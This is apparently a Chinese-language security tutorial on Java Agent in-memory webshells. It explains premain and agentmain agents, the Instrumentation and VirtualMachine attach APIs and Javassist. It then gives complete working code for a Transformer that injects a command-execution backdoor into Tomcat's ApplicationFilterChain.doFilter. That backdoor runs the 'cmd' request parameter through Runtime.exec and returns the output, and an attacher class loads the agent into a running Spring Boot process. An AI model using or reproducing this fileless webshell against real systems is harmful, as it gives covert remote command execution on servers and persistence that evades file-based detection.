什么是Java Agent?
java agent 是 Java 程序,可以通过在 Java 虚拟机(JVM)启动时提供参数来加载和运行。它可以通过 java.lang.instrument 包提供的 Java 标准接口进行代码插桩(字节码插桩),从而在 Java 应用程序的类加载和运行期间改变 Java 字节码。而java agent内存马就是利用这个特性产生。
Java Agent启动方式
实现premain方法(JVM启动前加载)
实现agentmain方法(JVM启动后加载)
Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain
实现premain方法(JVM启动前加载)
举一个简单的例子
先创建一个DemoTest类
1 2 3 4 5 6 7 8
| import java.lang.instrument.Instrumentation;
public class DemoTest { public static void premain(String agentArgs, Instrumentation inst) throws Exception{ System.out.println(agentArgs); System.out.println("ycxlo"); } }
|
随后定义一个清单文件DemoTest.Mf(注意多一个换行)
1 2 3
| Manifest-Version: 1.0 Premain-Class:
|
使用javac对DemoTest文件进行编译
使用jar进行打包
1
| jar cvfm agent.jar DemoTest.mf DemoTest.class
|
我们接下来再创建一个普通的类
1 2 3 4 5
| public class Hello { public static void main(String[] args) { System.out.println("hi,world"); } }
|
同样创建一个hello.mf的清单
1 2 3
| Manifest-Version: 1.0 Main-Class: Hello
|
使用jar进行打包
1
| jar cvfm hello.jar hello.mf Hello.class
|
输入
1
| java -javaagent:agent.jar=args -jar hello.jar
|
可以看到premain方法在main方法之前执行,这里的123就是形参agentArgs
也可以将这种启动方式称为命令行启动方式
加载agentmain方法
在实现agentmain之前有必要介绍一下几个组件:
1、Instrumentation API:
Instrumentation API 是一个 Java 类库,提供了一组用于在 Java 应用程序运行时进行字节码操作的接口。
它包括如下接口:
1 2 3 4
| ClassDefinition:表示要定义的类的字节码。 ClassFileTransformer:提供了将输入的字节码转换为输出字节码的方法。 Instrumentation:提供了大多数代理功能的主接口。 UnmodifiableClassException:表示尝试修改不能修改的类时抛出的异常。
|
通常,使用 Instrumentation API 可以在不重新启动应用程序的情况下修改类的字节码,并在运行时监控和测量应用程序的性能。它还可以用于创建 Java Agent,这是一种在 Java 程序启动时通过命令行参数指定的程序,可以替代或修改类的字节码。
2、VirtualMachine
VirtualMachine是Java提供的一种用于动态加载Java类的机制,是Java虚拟机的一部分,可以通过它在运行时加载和执行Java类。VirtualMachine接口定义了一些用于在虚拟机内部操作的方法,包括加载类、执行方法、获取类信息和设置虚拟机属性等。
VirtualMachine常用的接口为:
1 2 3 4 5 6 7 8 9 10 11 12
| attach(String id):连接到具有指定ID的Java虚拟机。 detach():从Java虚拟机断开连接。 loadAgent(String agent):将指定的Java Agent加载到Java虚拟机中。 loadAgentLibrary(String agentLibrary):将指定的库加载到Java虚拟机中。 loadAgentPath(String agentPath):将指定的路径加载到Java虚拟机中。 getSystemProperties():获取Java虚拟机的系统属性。 getAgentProperties():获取Java Agent的属性。 getClassPath():获取Java虚拟机的类路径。 getJvmArgs():获取Java虚拟机的JVM参数。 getInputArguments():获取Java虚拟机的输入参数。 getAllThreads():获取Java虚拟机中所有线程的信息。 getCapabilities():获取Java虚拟机的能力。
|
举一个简单的例子
编写一个实现了ClassFileTransformer接口的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain; import java.util.Scanner; public class DefineTransformer implements ClassFileTransformer { public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { Scanner sc = new Scanner(System.in); System.out.println("Injected Class AgentMainDemo Successfully !"); System.out.print("> "); try { InputStream is = Runtime.getRuntime().exec(sc.next()).getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(is)); String line; StringBuilder sb = new StringBuilder(); while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } System.out.println(sb); } catch (IOException e) { e.printStackTrace(); } return classfileBuffer; } }
|
transform()
方法会在 JVM 加载类文件时被调用。具体来说,当 JVM 加载一个类时,它会先将类文件的字节码读入内存,然后将字节码传递给已注册的类转换器(即实现了ClassFileTransformer
接口的类),让转换器对其进行修改。
调用该类
1 2 3 4 5 6 7
| import java.lang.instrument.Instrumentation;
public class AgentMain { public static void agentmain(String agentArgs, Instrumentation ins) { ins.addTransformer(new DefineTransformer(),true); } }
|
编写清单文件AgentMain.Mf
1 2 3 4 5
| Manifest-Version: 1.0 Can-Redefine-Classes: true Can-Retransform-Classes: true Agent-Class: AgentMain
|
- Agent-Class: 如果实现支持在VM启动后某个时间启动代理的机制,则此属性指定代理类。也就是说,包含agentmain方法的类。这个属性是必需的,如果没有它,代理将不会启动。注意:这是一个类名,而不是文件名或路径。
- Can-Redefine-Classes: 布尔值(true或false,与大小写无关)。是重新定义此代理所需的类的能力。除true以外的值被认为是false。该属性是可选的,默认为false。
- Can-Retransform-Classes: 布尔值(真或假,与大小写无关)。是重新转换此代理所需的类的能力。除true以外的值被认为是false。该属性是可选的,默认为false。
对其进行编译打包
1
| jar cvfm AgentMain.jar AgentMain.Mf AgentMain.class DefineTransformer.class
|
最后创建一个利用类(正在运行的application)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import java.util.List; public class maindemo { public static void main(String[] args) throws Exception{
String path = "D:\\java_agent\\src\\main\\java\\AgentMain.jar";
List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor v:list){ System.out.println("+++++++++++++++++++++++++"); System.out.println(v.displayName()); System.out.println("+++++++++++++++++++++++++"); if (v.displayName().contains("maindemo")){ System.out.println("id >>> " + v.id()); VirtualMachine vm = VirtualMachine.attach(v.id()); vm.loadAgent(path); vm.detach(); } } } }
|
VirtualMachine代表一个 Java 虚拟机,也就是程序需要监控的目标虚拟机,提供了 JVM 枚举,Attach动作和 Detach动作(Attach 动作的相反行为,从 JVM 上面解除一个代理)等等
将其编译后在命令行运行
这样我们就将AgentMain类注入到了maindemo中
这种启动方式也叫做Attach机制启动
3、Javassist
Javassist是一个Java库,用于在运行时操作字节码。 它提供了一种简单的方法来创建新类,修改现有类和动态加载类。 Javassist还提供了用于分析和修改Java字节码的API,以及用于在运行时修改Java类的能力。 Javassist使用类似于Java的语法来操作字节码,使得它很容易学习和使用。ClassPool:
ClassPool是Javassist的类池,主要用于管理和操作字节码,可以加载.class文件或者是CtClass对象并进行转换。
CtClass是javassist中的一个类文件,它的对象可以理解成一个class文件的抽象表示。一个CtClass对象可以用来修改一个class文件。
常用方法:
1 2 3 4 5 6
| getDefault(): 获取默认的ClassPool对象。 insertClassPath(ClassPath cp): 插入类源路径。 get(String className): 通过类名获取CtClass对象。 makeClass(String className): 创建新的CtClass对象。 makeInterface(String className): 创建新的接口CtClass对象。 makeAnnotation(String className): 创建新的注解CtClass对象。
|
简单的测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import javassist.*; public class javassist { public static void main(String[] args) throws Exception { ClassPool pool = new ClassPool(true); pool.insertClassPath(new LoaderClassPath(javassist.class.getClassLoader())); CtClass ctClass = pool.makeClass("ssist.Test"); ctClass.addInterface(pool.get(Test.class.getName())); CtClass type = pool.get(void.class.getName()); String name = "SayHello"; CtClass[] parameters = new CtClass[]{pool.get(String.class.getName())}; String body = "{" + "System.out.println(\"Hello \" + $1);" + "}"; CtMethod ctMethod = new CtMethod(type, name, parameters, ctClass); ctMethod.setBody(body); ctClass.addMethod(ctMethod); Test o = (Test) ctClass.toClass().newInstance(); o.SayHello("ycxlo"); } public interface Test { public void SayHello(String str); } }
|
初步实现内存马
由于实际环境中我们通常遇到的都是已经启动着的,所以 premain 那种方法不合适内存马注入,所以我们这里利用 agentmain 方法来尝试注入我们的内存马
主要用到的类和方法为:
1
| org.apache.catalina.core.ApplicationFilterChain#doFilter
|
选用这个方法的主要原因是:它封装了我们用户请求的 request 和 response ,那么如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回,并且不会影响正常的业务逻辑。
我们将构造流程分为三步
- 构造application(一个受害者web应用,我将使用Springboot框架搭建)
- 编写Agent(包括AgentMain和Transformer),在Transformer中修改目标类字节码
- 编写Attach(将agent加载到application中)
1、构造application
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.test.springbootdemmo.controller;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody;
@Controller public class VulnController { @ResponseBody @RequestMapping("/vuln") public String cc11Vuln(){ return "Hello World"; } }
|
2、编写agent
我们先定义一个Transformer,在其中使用javassist的 insertBefore将恶意代码插入到前面,从而减少对原程序的功能破坏
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| package Transformer;
import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
public class Transformer implements ClassFileTransformer { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
@Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { className = className.replace("/","."); if (className.equals(ClassName)){ ClassPool classPool = ClassPool.getDefault(); try { CtClass clz = classPool.get(className);
CtMethod doFilterMethod = clz.getDeclaredMethod("doFilter"); doFilterMethod.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" + "javax.servlet.http.HttpServletResponse res = response;\n" + "java.lang.String cmd = request.getParameter(\"cmd\");\n" + "if (cmd != null){\n" + " try {\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" + " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + " String line;\n" + " StringBuilder sb = new StringBuilder(\"\");\n" + " while ((line=reader.readLine()) != null){\n" + " sb.append(line).append(\"\\n\");\n" + " }\n" + " response.getOutputStream().print(sb.toString());\n" + " response.getOutputStream().flush();\n" + " response.getOutputStream().close();\n" + " } catch (Exception e){\n" + " e.printStackTrace();\n" + " }\n" + "}"); byte[] bytes = clz.toBytecode(); clz.detach(); return bytes; }catch (Exception e){ e.printStackTrace(); } } return new byte[0]; } }
|
然后编写AgentMain注册我们的Transformer ,然后遍历已加载的 class,如果存在ApplicationFilterChain类的话那么就调用 retransformClasses 对其进行重定义。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import Transformer.Transformer;
import java.lang.instrument.Instrumentation;
public class AgentMain { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation ins) { ins.addTransformer(new Transformer(),true); Class[] allLoadedClasses = ins.getAllLoadedClasses();
for (Class clazz : allLoadedClasses) { if (clazz.getName().equals(ClassName)){ try { ins.retransformClasses(new Class[]{clazz}); }catch (Exception e){ e.printStackTrace(); } } } } }
|
调用Instrumentation
接口的 retransformClasses
方法时会触发已注册的类转换器的 transform()
方法。具体来说,当retransformClasses
方法被调用时,JVM 会将指定的类重新加载,并将其字节码传递给已注册的类转换器进行转换。
实现类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import com.sun.tools.attach.*;
import java.io.IOException; import java.util.List;
public class test { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { String jar = "D:\\java_agent\\src\\main\\java\\AgentMain3.jar"; List<VirtualMachineDescriptor> list =VirtualMachine.list(); System.out.println("Running JVM list ..."); for (VirtualMachineDescriptor vmd : list) { System.out.println(vmd); if(vmd.displayName().contains("com.example.demo.DemoApplication")){ String id = vmd.id(); System.out.println("进程ID:" + vmd.id() + ",进程名称:" + vmd.displayName()); VirtualMachine vm = VirtualMachine.attach(vmd.id()); vm.loadAgent(jar); vm.detach(); break; } } } }
|
出不来出不来,不知道什么原因一直出现如下报错:
成功加载了jar文件,但并未成功初始化
后面查看了一下spring的相关日志,说无法找到Agent.AgentMain类,然后我在spring项目下添加了Agent目录就行了
jar文件的生成方法:
Agent.MF
1 2 3 4 5
| Manifest-Version: 1.0 Agent-Class: Agent.AgentMain Can-Redefine-Classes: true Can-Retransform-Classes: true
|
1
| jar cvfm AgentMain3.jar Agent.Mf Agent\AgentMain.class Agent\MyTransformer.class
|